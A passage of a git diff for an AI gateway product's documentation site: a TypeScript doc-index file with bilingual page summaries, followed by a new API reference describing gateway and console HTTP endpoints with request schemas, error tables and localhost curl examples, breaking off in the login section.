model names to GLM, DeepSeek, Kimi or others.", + "zh-CN": "经官方第三方推理模式接入 Claude Desktop,用路由规则把 Claude 模型名改写为其他上游的模型。", + }, + }, + { + slug: "switch-upstreams-without-restart", + label: { en: "Switch upstreams without restarting", "zh-CN": "切换上游无需重启" }, + title: { en: "Switch relays, upstreams or models without restarting Claude Code or Codex", "zh-CN": "切换中转站、上游或模型,无需重启 Claude Code 与 Codex" }, + locales: both, + group: "guides", + summary: { + en: "Connect Claude Code or Codex once, then switch relays, upstreams or models in the gateway, with no client restart or config edit.", + "zh-CN": "Claude Code、Codex 接管一次,之后在网关中切换中转站、上游或模型,无需重启客户端或修改其配置。", + }, + }, + { + slug: "failover-and-load-balancing", + label: { en: "Failover and load balancing", "zh-CN": "故障转移与负载均衡" }, + title: { en: "Fail over and balance load across relays and API keys", "zh-CN": "在多个中转站和多把密钥之间自动故障转移与负载均衡" }, + locales: both, + group: "guides", + summary: { + en: "One upstream per relay key, grouped by strategy: in order, round robin, lowest latency, lowest cost or manual, with failover.", + "zh-CN": "每把密钥建一个上游,放进策略组按顺序、轮询、延迟最低、费用最低或手动选择,失败时自动换下一个。", + }, + }, + { + slug: "keep-api-keys-from-relays", + label: { en: "Keep API keys from relays", "zh-CN": "不让中转站拿到密钥" }, + title: { en: "Keep the API keys in requests away from relays, and block dangerous tool calls", "zh-CN": "防止中转站拿到请求中的 API 密钥,并拦截危险的工具调用" }, + locales: both, + group: "guides", + summary: { + en: "Outbound redaction swaps keys in requests for placeholders before a relay sees them; tool-call inspection cuts off dangerous calls.", + "zh-CN": "出站脱敏在中转站看到请求之前把其中的密钥换成占位符,工具调用审查切断危险的工具调用。", + }, + }, + { + slug: "wsl-claude-code-codex", + label: { en: "Claude Code and Codex in WSL", "zh-CN": "在 WSL 中使用" }, + title: { en: "Use Claude Code and Codex in WSL", "zh-CN": "在 WSL 中使用 Claude Code 和 Codex" }, + locales: both, + group: "guides", + summary: { + en: "Connect Claude Code and Codex inside WSL to ThinkWatch Lite on Windows, with WSL 1 or WSL 2 in mirrored networking.", + "zh-CN": "WSL 中的 Claude Code、Codex 接入 Windows 上的网关:支持 WSL 1 和 mirrored 网络。", + }, + }, + { + slug: "compare-cc-switch", + label: { en: "Compared with CC Switch", "zh-CN": "与 CC Switch 对比" }, + title: { en: "ThinkWatch Lite vs CC Switch", "zh-CN": "ThinkWatch Lite 与 CC Switch 对比" }, + locales: both, + group: "guides", + summary: { + en: "CC Switch rewrites client configs to switch providers; ThinkWatch Lite routes every request through a local gateway. Feature table and using both.", + "zh-CN": "CC Switch 改写客户端配置切换供应商,ThinkWatch Lite 经本机网关路由每个请求:功能对照、如何选择与同时使用。", + }, + }, + { + slug: "faq", + label: { en: "FAQ", "zh-CN": "常见问题" }, + title: { en: "ThinkWatch Lite FAQ", "zh-CN": "ThinkWatch Lite 常见问题" }, + locales: both, + group: "guides", + summary: { + en: "Answers about ThinkWatch Lite: cost, clients, platforms, Claude subscriptions, relays, data, signing, Codex sessions, servers and updates.", + "zh-CN": "Lite 常见问题:是否免费、支持的客户端与平台、Claude 订阅、中转站、数据与联网、签名、Codex 会话、服务器与更新。", + }, + }, + { + slug: "architecture", + label: { en: "Architecture", "zh-CN": "架构" }, + locales: both, + group: "concepts", + summary: { + en: "A Tauri 2 shell and a React 19 frontend that supervise Core and control it over a local socket or a TCP port, each with an encrypted handshake.", + "zh-CN": "Tauri 2 外壳与 React 19 前端托管 Core,经本机套接字或 TCP 端口控制它,每种通道都经过加密握手。", + }, + }, + { + slug: "plugins", + label: { en: "Plugins", "zh-CN": "插件" }, + locales: both, + group: "reference", + summary: { + en: "JavaScript plugins that change requests and answers: where they run, the API, permissions, limits, the sandbox, and the two that ship with the app.", + "zh-CN": "改写请求与回答的 JavaScript 插件:运行位置、添加与编辑、接口与请求种类、权限、限额、沙箱及其无法防范的情况,以及应用自带的两个插件。", + }, + }, + { + slug: "import-links", + label: { en: "Import links", "zh-CN": "导入链接" }, + locales: both, + group: "reference", + summary: { + en: "For relays, vendors and ThinkWatch Enterprise: links that open the New upstream dialog filled in, the parameters each service takes, what the app checks, and a link builder.", + "zh-CN": "面向中转站、服务商与 ThinkWatch 企业版:打开预填好的「新建上游」对话框的链接、各服务类型接受的参数、应用所做的校验,以及链接生成器。", + }, + }, + { + slug: "contributing", + label: { en: "Contributing", "zh-CN": "贡献指南" }, + locales: both, + group: "contributing", + summary: { + en: "Branches, settled scope, and the checks required before opening a pull request.", + "zh-CN": "分支约定、已确定的范围,以及提交 PR 前须通过的检查。", + }, + }, + ], + }, + { + id: "core", + name: "ThinkWatch Core", + base: "/docs/core", + editUrl: "https://github.com/ThinkWatchProject/thinkwatch.github.io/tree/main/src/content/docs-core", + tagline: { + en: "The gateway engine of ThinkWatch Lite and Enterprise: MIT-licensed Rust crates and the twcore binary, which also runs alone on a Linux server.", + "zh-CN": "ThinkWatch Lite 与企业版共用的网关引擎:MIT 许可证的 Rust crate 与 twcore 二进制,也可独立运行在 Linux 服务器上。", + }, + docs: [ + overview(), + { + slug: "quick-start", + label: { en: "Quick start with twcore", "zh-CN": "twcore 快速入门" }, + locales: both, + group: "getStarted", + summary: { + en: "Get twcore from a release or build it from source, write and check a configuration, and point a client at the gateway.", + "zh-CN": "从发布版本获取 twcore 或从源码构建,生成并校验配置,并将客户端指向网关。", + }, + }, + // Published from the Core repository (src/lib/core-docs.mjs). + { + slug: "server-deployment", + label: { en: "Server deployment", "zh-CN": "服务器部署" }, + locales: both, + group: "getStarted", + summary: { + en: "Run twcore as a systemd service on Linux, open the remote control port, connect ThinkWatch Lite, and upgrade with twcore upgrade.", + "zh-CN": "在 Linux 上以 systemd 服务运行 twcore,开启远程控制端口,连接 ThinkWatch Lite,并用 twcore upgrade 升级。", + }, + }, + { + slug: "crate-layers", + label: { en: "Crate layers", "zh-CN": "crate 分层" }, + locales: both, + group: "concepts", + summary: { + en: "The seventeen crates grouped by role, the four that ThinkWatch Enterprise depends on, and what ThinkWatch Lite compiles.", + "zh-CN": "十七个 crate 按职责的分组、ThinkWatch 企业版依赖的四个 crate,以及 ThinkWatch Lite 编译的部分。", + }, + }, + // Published from the Core repository (src/lib/core-docs.mjs). + { + slug: "configuration", + label: { en: "Configuration reference", "zh-CN": "配置手册" }, + locales: both, + group: "reference", + summary: { + en: "Every field of config.yaml: what it does, its default, the values it takes, and how a change reaches the running core.", + "zh-CN": "config.yaml 中每个字段的作用、默认值与可选值,以及改动如何进入正在运行的 core。", + }, + }, + { + slug: "development", + label: { en: "Development and tests", "zh-CN": "开发与测试" }, + locales: both, + group: "contributing", + summary: { + en: "cargo test, scripts/smoke.sh, the checks before a pull request, releases, and the rules every change follows.", + "zh-CN": "cargo test、scripts/smoke.sh、提交 PR 前的检查、发布流程,以及每个改动都须遵守的规则。", + }, + }, + ], + }, +]; + +export const productIds: ProductId[] = products.map((p) => p.id); + +export function getProduct(id: ProductId): Product { + const product = products.find((p) => p.id === id); + if (!product) throw new Error(`[docs] unknown product "${id}"`); + return product; +} + +/** Docs home URL of a product, localized. */ +export function productHomeHref(lang: Lang, id: ProductId): string { + const p = getProduct(id); + return localePath(lang, p.home ?? p.base); +} + +/** + * URL of a doc. Untranslated docs fall back to the English URL, which is + * how the sidebar has always handled missing translations. + */ +export function docHref(lang: Lang, id: ProductId, doc: DocMeta): string { + const p = getProduct(id); + const path = doc.slug ? `${p.base}/${doc.slug}` : (p.home ?? p.base); + return doc.locales.includes(lang) ? localePath(lang, path) : path; +} + +export type SidebarItem = DocMeta & { availableHere: boolean; href: string }; +export type SidebarGroup = { id: GroupId; label: string; items: SidebarItem[] }; + +/** Sidebar for one product: every doc, grouped, flagged when untranslated. */ +export function getSidebar(id: ProductId, lang: Lang): SidebarGroup[] { + const groups: SidebarGroup[] = []; + for (const doc of getProduct(id).docs) { + const item: SidebarItem = { ...doc, availableHere: doc.locales.includes(lang), href: docHref(lang, id, doc) }; + const last = groups[groups.length - 1]; + if (last && last.id === doc.group) last.items.push(item); + else groups.push({ id: doc.group, label: groupLabels[doc.group][lang], items: [item] }); + } + return groups; +} + +/** Previous and next doc in reading order, within one product and skipping untranslated docs. */ +export function getNeighbours(id: ProductId, slug: string, lang: Lang): { prev?: DocMeta; next?: DocMeta } { + const order = getProduct(id).docs.filter((d) => d.locales.includes(lang)); + const idx = order.findIndex((d) => d.slug === slug); + if (idx < 0) return {}; + return { prev: order[idx - 1], next: order[idx + 1] }; +} + +/** Find a doc (never the docs home) by slug. Defaults to ThinkWatch for backwards compatibility. */ +export function findDoc(slug: string, id: ProductId = "thinkwatch"): DocMeta | undefined { + if (!slug) return undefined; + return getProduct(id).docs.find((d) => d.slug === slug); +} + +/** Articles (docs home excluded) of a product in a given locale. */ +export function getDocsForLocale(lang: Lang, id: ProductId = "thinkwatch"): DocMeta[] { + return getProduct(id).docs.filter((d) => d.slug && d.locales.includes(lang)); +} + +/** ThinkWatch guides in reading order (docs home excluded). Kept for existing imports. */ +export const docsOrder: DocMeta[] = getProduct("thinkwatch").docs.filter((d) => d.slug); + +/** Display name of a product in the given language. The server edition is + * called "ThinkWatch Enterprise" / "ThinkWatch 企业版" wherever it is listed + * next to Lite and Core. */ +export function productName(p: Pick, lang: Lang): string { + if (p.id === "thinkwatch") return lang === "zh-CN" ? "ThinkWatch 企业版" : "ThinkWatch Enterprise"; + return p.name; +} diff --git a/src/content/docs/en/api-reference.md b/src/content/docs/en/api-reference.md new file mode 100644 index 0000000..9083fb6 --- /dev/null +++ b/src/content/docs/en/api-reference.md @@ -0,0 +1,2449 @@ +# ThinkWatch API Reference + +This document provides a complete reference for every HTTP endpoint exposed by ThinkWatch. The platform runs two servers: + +| Server | Default Port | Purpose | +| ------- | ------------ | ------------------------------ | +| Gateway | 3000 | AI model proxy, MCP transport | +| Console | 3001 | Management UI and admin APIs | + +--- + +## Authentication Schemes + +| Scheme | Header | Used By | +| -------- | ------------------------------- | ------------------ | +| API Key | `Authorization: Bearer tw-...` | Gateway & Console | +| JWT | `Authorization: Bearer ` | Console & Gateway | +| Public | _(none)_ | Health endpoints | + +The gateway accepts **either** an API key or a JWT. Console management endpoints require a JWT unless otherwise noted. Admin endpoints additionally require the `admin` role. + +--- + +## Gateway Endpoints (port 3000) + +The gateway serves three API formats on a single port, allowing clients to use whichever format they prefer: + +| Endpoint | Format | Typical Clients | +| --------------------------- | ----------------------- | -------------------------------------------- | +| `POST /v1/chat/completions` | OpenAI Chat Completions | Cursor, Continue, Cline, OpenAI SDK | +| `POST /v1/messages` | Anthropic Messages API | Claude Code, Anthropic SDK | +| `POST /v1/responses` | OpenAI Responses API | OpenAI SDK (2025 format) | +| `GET /v1/models` | OpenAI Models | All clients | +| `GET /v1/usage` | Usage and limits of the calling key | Any client with a gateway API key | + +All three endpoints authenticate identically (API Key or JWT), route through the same model router and rate limiter, and produce the same usage records and audit logs. + +### Limits and budgets + +Before a request is sent upstream, it is checked against the rate limits and budgets of its API key and of the key's owner, using what earlier requests have used; tokens are counted after the response, answers from the response cache included. The owner's limits come from their roles, those assigned globally and those attached to a team they belong to, merged most-restrictive, then from the user's own overrides. A request over a limit gets `429` with `Retry-After`, the seconds until the limit frees, and a message that names the limit, such as `Rate limited: user:requests/1m`. A request refused by these limits, or because its key may not use the model, counts against none of them. + +**Route caps.** A model route can carry an **RPM cap** and a **TPM cap**, set in the route editor. Both count over a sliding minute, the TPM cap in weighted tokens like the other token limits. A route at either cap is skipped, and the model's next route serves the request; when every remaining route is at its cap, the request gets `429` with `Retry-After`, labelled `route:requests/1m` or `route:tokens/1m`. Such a request has passed the caller's own limits and counts on them. + +**Limits that cannot be checked.** When Redis cannot be reached, or the database fails while a request's limits are loaded, `security.rate_limit_fail_closed` decides. Off, the default, the request goes on without those limits and a warning is logged; on, it is refused with `429` and `Retry-After: 30`, labelled `rate_limiter_unavailable`, `budget_unavailable` or `limits_unavailable`. Route caps follow the same setting. See [Limits that cannot be checked](/docs/configuration#limits-that-cannot-be-checked). + +[`GET /v1/usage`](#get-v1usage) tells a client what its key has used and how much room its limits leave. + +### POST /v1/chat/completions + +OpenAI-compatible chat completions endpoint. Proxies requests to the configured upstream provider. + +**Authentication:** API Key or JWT + +#### Request Body + +```json +{ + "model": "string", + "messages": [ + { + "role": "system" | "user" | "assistant", + "content": "string" + } + ], + "temperature": 0.7, + "top_p": 1.0, + "max_tokens": 4096, + "stream": false, + "stop": ["string"], + "presence_penalty": 0.0, + "frequency_penalty": 0.0 +} +``` + +| Field | Type | Required | Default | Description | +| ------------------- | --------------- | -------- | ------- | ---------------------------------------- | +| `model` | string | Yes | — | Model identifier (e.g. `gpt-4o`) | +| `messages` | array\ | Yes | — | Conversation history | +| `messages[].role` | string | Yes | — | One of `system`, `user`, `assistant` | +| `messages[].content`| string | Yes | — | Message text | +| `temperature` | number | No | 0.7 | Sampling temperature (0.0 – 2.0) | +| `top_p` | number | No | 1.0 | Nucleus sampling | +| `max_tokens` | integer | No | — | Maximum tokens to generate | +| `stream` | boolean | No | false | Enable Server-Sent Events streaming | +| `stop` | array\ | No | — | Stop sequences | +| `presence_penalty` | number | No | 0.0 | Presence penalty (-2.0 – 2.0) | +| `frequency_penalty` | number | No | 0.0 | Frequency penalty (-2.0 – 2.0) | + +#### Response Body (non-streaming) + +```json +{ + "id": "chatcmpl-abc123", + "object": "chat.completion", + "created": 1711929600, + "model": "gpt-4o", + "choices": [ + { + "index": 0, + "message": { + "role": "assistant", + "content": "Hello! How can I help you?" + }, + "finish_reason": "stop" + } + ], + "usage": { + "prompt_tokens": 12, + "completion_tokens": 8, + "total_tokens": 20 + } +} +``` + +#### Response Body (streaming, `stream: true`) + +The response is a stream of `text/event-stream` SSE events: + +``` +data: {"id":"chatcmpl-abc123","object":"chat.completion.chunk","created":1711929600,"model":"gpt-4o","choices":[{"index":0,"delta":{"role":"assistant","content":"Hello"},"finish_reason":null}]} + +data: {"id":"chatcmpl-abc123","object":"chat.completion.chunk","created":1711929600,"model":"gpt-4o","choices":[{"index":0,"delta":{"content":"!"},"finish_reason":null}]} + +data: [DONE] +``` + +#### Example + +```bash +# Non-streaming +curl -X POST http://localhost:3000/v1/chat/completions \ + -H "Authorization: Bearer tw-your-api-key" \ + -H "Content-Type: application/json" \ + -d '{ + "model": "gpt-4o", + "messages": [{"role": "user", "content": "Hello"}] + }' + +# Streaming +curl -X POST http://localhost:3000/v1/chat/completions \ + -H "Authorization: Bearer tw-your-api-key" \ + -H "Content-Type: application/json" \ + -N \ + -d '{ + "model": "gpt-4o", + "messages": [{"role": "user", "content": "Hello"}], + "stream": true + }' +``` + +#### Error Responses + +| Status | Body | Condition | +| ------ | -------------------------------------------------------------------- | -------------------------------- | +| 401 | `{"error": {"message": "Missing or invalid API key", "type": "authentication_error"}}` | Missing/invalid credentials | +| 403 | `{"error": {"message": "Model not allowed", "type": "permission_error"}}` | API key does not permit this model | +| 404 | `{"error": {"message": "Model not found", "type": "not_found_error"}}` | No provider configured for model | +| 429 | `{"error": {"message": "Rate limit exceeded", "type": "rate_limit_error"}}` | RPM limit reached for this key | +| 502 | `{"error": {"message": "Upstream provider error", "type": "upstream_error"}}` | Provider returned an error | + +--- + +### GET /v1/models + +List the models available through the gateway. With an API key, the list holds only the models that key may use. + +**Authentication:** API Key or JWT + +#### Request + +No request body. No query parameters. + +#### Response Body + +```json +{ + "object": "list", + "data": [ + { + "id": "gpt-4o", + "object": "model", + "created": 1711929600, + "owned_by": "openai" + }, + { + "id": "claude-sonnet-4-20250514", + "object": "model", + "created": 1711929600, + "owned_by": "anthropic" + } + ] +} +``` + +#### Example + +```bash +curl http://localhost:3000/v1/models \ + -H "Authorization: Bearer tw-your-api-key" +``` + +#### Error Responses + +| Status | Condition | +| ------ | -------------------- | +| 401 | Invalid credentials | + +--- + +### GET /v1/usage + +What the calling API key has used and how much room its limits leave on the AI gateway. A client can show its user what is left, or slow down before a limit refuses its requests. + +**Authentication:** API Key with access to the AI gateway, as for a model request + +Calling it charges no limit, writes no request log entry and is not a use of the key: `last_used_at` stays as it was, so polling does not keep an idle key from its inactivity timeout. + +#### Request + +No request body. No query parameters. + +#### Response Body + +```json +{ + "scope": "key", + "usage": { + "requests_today": 12, + "tokens_today": 48210, + "requests_month": 340, + "tokens_month": 1290455, + "cost_usd_month": 3.82 + }, + "limits": [ + { + "scope": "key", + "kind": "tokens", + "window": "daily", + "window_secs": null, + "limit": 100000, + "used": 48210, + "resets_at": "2026-10-12T00:00:00Z" + }, + { + "scope": "key", + "kind": "requests", + "window": "1m", + "window_secs": 60, + "limit": 60, + "used": 4, + "resets_at": null + } + ], + "expires_at": "2026-12-31T00:00:00Z" +} +``` + +The answer is about one of two subjects, named in `scope`: + +- `"key"` when the key has limits of its own on the AI gateway: `limits` lists only the key's limits, each with `used` counted for the key, and `usage` is the key's own, across its rotations. +- `"user"` when it has none: `limits` lists its owner's effective limits (their roles, including those a team grants, merged most-restrictive, then the user's overrides), each with `used` counted for everything the owner does, and `usage` is the owner's total over all of their keys. With no limits on the owner either, `limits` is empty. + +Whoever holds a key without limits of its own therefore sees its owner's totals and limits; a key handed to someone else should carry limits of its own. + +| Field | Type | Description | +| ----------------------------------------------- | -------------- | --------------------------------------------------------------------------- | +| `scope` | string | `key` or `user`, as above | +| `usage.requests_today`, `usage.requests_month` | integer | Requests the rate limits let through in the UTC day and month, answers from the response cache included | +| `usage.tokens_today`, `usage.tokens_month` | integer | Weighted tokens, counted as limits count them, in the UTC day and month | +| `usage.cost_usd_month` | number \| null | Cost this month from the request log; `null` without ClickHouse | +| `limits[].scope` | string | Whose limit it is; the same as `scope` | +| `limits[].kind` | string | `requests` or `tokens` (weighted) | +| `limits[].window` | string | A rate limit's sliding window (`1m`, `5m`, `1h`, `5h`, `1d`, `1w`) or a budget's calendar period (`daily`, `weekly`, `monthly`) | +| `limits[].window_secs` | integer \| null | The sliding window's length in seconds; `null` for a calendar period | +| `limits[].limit` | integer | The limit | +| `limits[].used` | integer | What has been used, read from the counter that refuses requests | +| `limits[].resets_at` | string \| null | The end of a calendar period (UTC); `null` for a sliding window | +| `expires_at` | string \| null | The key's expiry or the end of its rotation grace period, whichever comes first; `null` when there is neither | + +The limit with the least left comes first. Limits on the MCP gateway are not listed. `usage` counts from the upgrade to ThinkWatch 3.5.0 on. + +#### Example + +```bash +curl http://localhost:3000/v1/usage \ + -H "Authorization: Bearer tw-your-api-key" +``` + +#### Error Responses + +| Status | Condition | +| ------ | ------------------------------------------------------------------------- | +| 401 | Missing or invalid key, as for a model request | +| 403 | The key may not use the AI gateway, as for a model request | +| 503 | The key's limits or their counters could not be read, whichever way `security.rate_limit_fail_closed` is set | + +--- + +### POST /v1/messages + +Anthropic Messages API endpoint. Accepts requests in the native Anthropic format and proxies them to the configured upstream provider. This allows Claude Code and the Anthropic SDK to connect directly without format translation on the client side. + +**Authentication:** API Key or JWT + +#### Request Body + +```json +{ + "model": "claude-sonnet-4-20250514", + "max_tokens": 1024, + "messages": [ + { + "role": "user", + "content": "Hello, Claude" + } + ], + "stream": false, + "system": "You are a helpful assistant.", + "temperature": 0.7 +} +``` + +| Field | Type | Required | Default | Description | +| ------------ | --------------- | -------- | ------- | ---------------------------------------- | +| `model` | string | Yes | -- | Model identifier (e.g. `claude-sonnet-4-20250514`) | +| `max_tokens` | integer | Yes | -- | Maximum tokens to generate | +| `messages` | array\ | Yes | -- | Conversation history | +| `stream` | boolean | No | false | Enable Server-Sent Events streaming | +| `system` | string | No | -- | System prompt | +| `temperature`| number | No | 1.0 | Sampling temperature (0.0 -- 1.0) | + +#### Response Body (non-streaming) + +```json +{ + "id": "msg_abc123", + "type": "message", + "role": "assistant", + "content": [ + { + "type": "text", + "text": "Hello! How can I help you today?" + } + ], + "model": "claude-sonnet-4-20250514", + "stop_reason": "end_turn", + "usage": { + "input_tokens": 12, + "output_tokens": 10 + } +} +``` + +#### Response Body (streaming, `stream: true`) + +The response is a stream of `text/event-stream` SSE events following the Anthropic streaming format: + +``` +event: message_start +data: {"type":"message_start","message":{"id":"msg_abc123","type":"message","role":"assistant","content":[],"model":"claude-sonnet-4-20250514"}} + +event: content_block_delta +data: {"type":"content_block_delta","index":0,"delta":{"type":"text_delta","text":"Hello"}} + +event: message_stop +data: {"type":"message_stop"} +``` + +#### Example + +```bash +curl -X POST http://localhost:3000/v1/messages \ + -H "Authorization: Bearer tw-your-api-key" \ + -H "Content-Type: application/json" \ + -H "anthropic-version: 2023-06-01" \ + -d '{ + "model": "claude-sonnet-4-20250514", + "max_tokens": 1024, + "messages": [{"role": "user", "content": "Hello"}] + }' +``` + +#### Error Responses + +| Status | Condition | +| ------ | -------------------------------- | +| 401 | Missing/invalid credentials | +| 403 | Model not allowed for this key | +| 404 | Model not found | +| 429 | Rate limit exceeded | +| 502 | Upstream provider error | + +--- + +### POST /v1/responses + +OpenAI Responses API endpoint (2025 format). Accepts requests in the OpenAI Responses format, which supports both simple string inputs and structured message arrays. + +**Authentication:** API Key or JWT + +#### Request Body + +```json +{ + "model": "gpt-4o", + "input": "What is the capital of France?", + "instructions": "You are a helpful geography assistant.", + "stream": false, + "temperature": 0.7, + "max_output_tokens": 4096 +} +``` + +The `input` field can be either a simple string or an array of message objects: + +```json +{ + "model": "gpt-4o", + "input": [ + {"role": "user", "content": "Hello"}, + {"role": "assistant", "content": "Hi there!"}, + {"role": "user", "content": "What is 2+2?"} + ] +} +``` + +| Field | Type | Required | Default | Description | +| ------------------ | ----------------------- | -------- | ------- | ---------------------------------------- | +| `model` | string | Yes | -- | Model identifier | +| `input` | string or array\ | Yes | -- | Prompt string or conversation messages | +| `instructions` | string | No | -- | System-level instructions | +| `stream` | boolean | No | false | Enable Server-Sent Events streaming | +| `temperature` | number | No | 0.7 | Sampling temperature | +| `max_output_tokens`| integer | No | -- | Maximum tokens to generate | + +#### Response Body (non-streaming) + +```json +{ + "id": "resp_abc123", + "object": "response", + "created_at": 1711929600, + "model": "gpt-4o", + "output": [ + { + "type": "message", + "role": "assistant", + "content": [ + { + "type": "output_text", + "text": "The capital of France is Paris." + } + ] + } + ], + "usage": { + "input_tokens": 15, + "output_tokens": 8, + "total_tokens": 23 + } +} +``` + +#### Example + +```bash +curl -X POST http://localhost:3000/v1/responses \ + -H "Authorization: Bearer tw-your-api-key" \ + -H "Content-Type: application/json" \ + -d '{ + "model": "gpt-4o", + "input": "What is the capital of France?" + }' +``` + +#### Error Responses + +| Status | Condition | +| ------ | -------------------------------- | +| 401 | Missing/invalid credentials | +| 403 | Model not allowed for this key | +| 404 | Model not found | +| 429 | Rate limit exceeded | +| 502 | Upstream provider error | + +--- + +### POST /mcp + +MCP (Model Context Protocol) Streamable HTTP transport endpoint. Accepts JSON-RPC 2.0 requests and routes them to registered MCP servers. + +**Authentication:** API Key or JWT + +#### Request Body + +Standard JSON-RPC 2.0 envelope: + +```json +{ + "jsonrpc": "2.0", + "id": 1, + "method": "tools/call", + "params": { + "name": "tool_name", + "arguments": {} + } +} +``` + +Common methods: + +| Method | Description | +| ------------------- | ---------------------------------- | +| `initialize` | Initialize session, negotiate capabilities | +| `tools/list` | List available MCP tools | +| `tools/call` | Invoke a tool | +| `resources/list` | List available resources | +| `resources/read` | Read a resource | +| `prompts/list` | List available prompts | + +#### Response Headers + +| Header | Description | +| ---------------- | --------------------------------------------- | +| `Mcp-Session-Id` | Session identifier (returned on `initialize`) | + +#### Response Body + +```json +{ + "jsonrpc": "2.0", + "id": 1, + "result": { + "content": [ + { + "type": "text", + "text": "Tool output here" + } + ] + } +} +``` + +#### Example + +```bash +# Initialize session +curl -X POST http://localhost:3000/mcp \ + -H "Authorization: Bearer tw-your-api-key" \ + -H "Content-Type: application/json" \ + -d '{ + "jsonrpc": "2.0", + "id": 1, + "method": "initialize", + "params": { + "protocolVersion": "2025-03-26", + "capabilities": {}, + "clientInfo": {"name": "my-client", "version": "1.0.0"} + } + }' + +# Call a tool (include session ID from initialize response) +curl -X POST http://localhost:3000/mcp \ + -H "Authorization: Bearer tw-your-api-key" \ + -H "Content-Type: application/json" \ + -H "Mcp-Session-Id: session-uuid-here" \ + -d '{ + "jsonrpc": "2.0", + "id": 2, + "method": "tools/call", + "params": {"name": "search_docs", "arguments": {"query": "setup guide"}} + }' +``` + +#### Error Responses + +| Status | Condition | +| ------ | ---------------------------------------- | +| 401 | Invalid credentials | +| 400 | Malformed JSON-RPC request | +| 404 | MCP session not found (invalid session) | +| 502 | Upstream MCP server unreachable | + +--- + +### DELETE /mcp + +Close an MCP session and release associated resources. + +**Authentication:** API Key or JWT + +#### Request Headers + +| Header | Required | Description | +| ---------------- | -------- | -------------------- | +| `Mcp-Session-Id` | Yes | Session to terminate | + +#### Response + +``` +HTTP/1.1 204 No Content +``` + +#### Example + +```bash +curl -X DELETE http://localhost:3000/mcp \ + -H "Authorization: Bearer tw-your-api-key" \ + -H "Mcp-Session-Id: session-uuid-here" +``` + +#### Error Responses + +| Status | Condition | +| ------ | ---------------------------- | +| 401 | Invalid credentials | +| 404 | Session not found or expired | + +--- + +### GET /health + +Basic gateway health check. + +**Authentication:** Public + +#### Response Body + +```json +{ + "status": "ok" +} +``` + +#### Example + +```bash +curl http://localhost:3000/health +``` + +--- + +### GET /health/live + +Liveness probe. Returns 200 if the server process is running. + +**Authentication:** Public + +#### Response Body + +```json +{ + "status": "alive" +} +``` + +#### Example + +```bash +curl http://localhost:3000/health/live +``` + +--- + +### GET /health/ready + +Readiness probe. Returns 200 if all critical dependencies (PostgreSQL, Redis) are reachable. Returns 503 if any critical dependency is down. + +**Authentication:** Public + +#### Response Body (healthy) + +```json +{ + "status": "ready" +} +``` + +#### Response Body (unhealthy) + +```json +{ + "status": "not_ready", + "reason": "redis unreachable" +} +``` + +#### Example + +```bash +curl http://localhost:3000/health/ready +``` + +| Status | Condition | +| ------ | --------------------------------------- | +| 200 | All critical dependencies healthy | +| 503 | PostgreSQL or Redis is unreachable | + +--- + +### GET /metrics + +Prometheus-compatible metrics endpoint. Exposes request latency histograms, token throughput counters, active connection gauges, and error rate counters. + +**Authentication:** Public (unauthenticated) + +**Port:** 3000 (gateway) + +#### Response + +``` +# HELP http_requests_total Total number of HTTP requests +# TYPE http_requests_total counter +http_requests_total{method="POST",endpoint="/v1/chat/completions",status="200"} 1520 + +# HELP http_request_duration_seconds HTTP request latency +# TYPE http_request_duration_seconds histogram +http_request_duration_seconds_bucket{endpoint="/v1/chat/completions",le="0.5"} 300 +... +``` + +#### Example + +```bash +curl http://localhost:3000/metrics +``` + +> **Note:** This endpoint is intended for Prometheus scraping. Restrict access via network policies in production. + +--- + +## Console Endpoints (port 3001) + +### Setup + +#### GET /api/setup/status + +Check whether the system has been initialized (i.e., whether an admin user exists). + +**Authentication:** Public + +#### Response Body + +```json +{ + "initialized": false, + "needs_setup": true +} +``` + +| Field | Type | Description | +| -------------- | ------- | -------------------------------------------- | +| `initialized` | boolean | `true` if an admin user has been created | +| `needs_setup` | boolean | `true` if the setup wizard should be shown | + +#### Example + +```bash +curl http://localhost:3001/api/setup/status +``` + +--- + +#### POST /api/setup/initialize + +Perform initial system setup: create the first admin user and optionally configure the first AI provider. This endpoint is only available when the system has not yet been initialized. + +**Authentication:** Public (only when uninitialized) + +#### Request Body + +```json +{ + "admin": { + "email": "admin@example.com", + "display_name": "Admin", + "password": "your-secure-password" + }, + "provider": { + "name": "openai-prod", + "display_name": "OpenAI Production", + "provider_type": "openai", + "base_url": "https://api.openai.com/v1", + "api_key": "sk-..." + } +} +``` + +| Field | Type | Required | Description | +| ------------------------ | ------ | -------- | ----------------------------------------------- | +| `admin.email` | string | Yes | Admin email address | +| `admin.display_name` | string | Yes | Admin display name | +| `admin.password` | string | Yes | Admin password (minimum 8 characters) | +| `provider` | object | No | Optional first provider configuration | +| `provider.name` | string | Yes* | Unique slug identifier (* required if provider set) | +| `provider.display_name` | string | Yes* | Human-readable name | +| `provider.provider_type` | string | Yes* | One of `openai`, `anthropic`, `google`, `azure`, `bedrock`, `custom` | +| `provider.base_url` | string | Yes* | Provider API base URL | +| `provider.api_key` | string | Yes* | Provider API key | + +#### Response Body + +```json +{ + "access_token": "eyJhbGciOi...", + "refresh_token": "eyJhbGciOi...", + "token_type": "Bearer", + "expires_in": 900, + "user": { + "id": "uuid", + "email": "admin@example.com", + "display_name": "Admin", + "role": "admin" + } +} +``` + +#### Example + +```bash +curl -X POST http://localhost:3001/api/setup/initialize \ + -H "Content-Type: application/json" \ + -d '{ + "admin": { + "email": "admin@example.com", + "display_name": "Admin", + "password": "your-secure-password" + } + }' +``` + +#### Error Responses + +| Status | Condition | +| ------ | -------------------------------------------- | +| 400 | System already initialized | +| 422 | Validation error (weak password, invalid email) | +| 429 | Rate limit exceeded (5 requests per minute) | + +> **Security:** This endpoint is rate-limited to 5 requests per minute and performs a double-check against the database to prevent race conditions. + +--- + +### Authentication + +#### POST /api/auth/login + +Authenticate with email and password to receive JWT tokens. + +**Authentication:** Public + +#### Request Body + +```json +{ + "email": "string", + "password": "string" +} +``` + +| Field | Type | Required | Description | +| ---------- | ------ | -------- | ------------------ | +| `email` | string | Yes | User email address | +| `password` | string | Yes | User password | + +#### Response Body + +```json +{ + "access_token": "eyJhbGciOi...", + "refresh_token": "eyJhbGciOi...", + "token_type": "Bearer", + "expires_in": 900, + "user": { + "id": "uuid", + "email": "user@example.com", + "display_name": "Jane Doe", + "role": "user" + } +} +``` + +#### Example + +```bash +curl -X POST http://localhost:3001/api/auth/login \ + -H "Content-Type: application/json" \ + -d '{"email": "admin@example.com", "password": "secret"}' +``` + +#### Error Responses + +| Status | Condition | +| ------ | --------------------------- | +| 401 | Invalid email or password | +| 422 | Missing required fields | +| 429 | Too many login 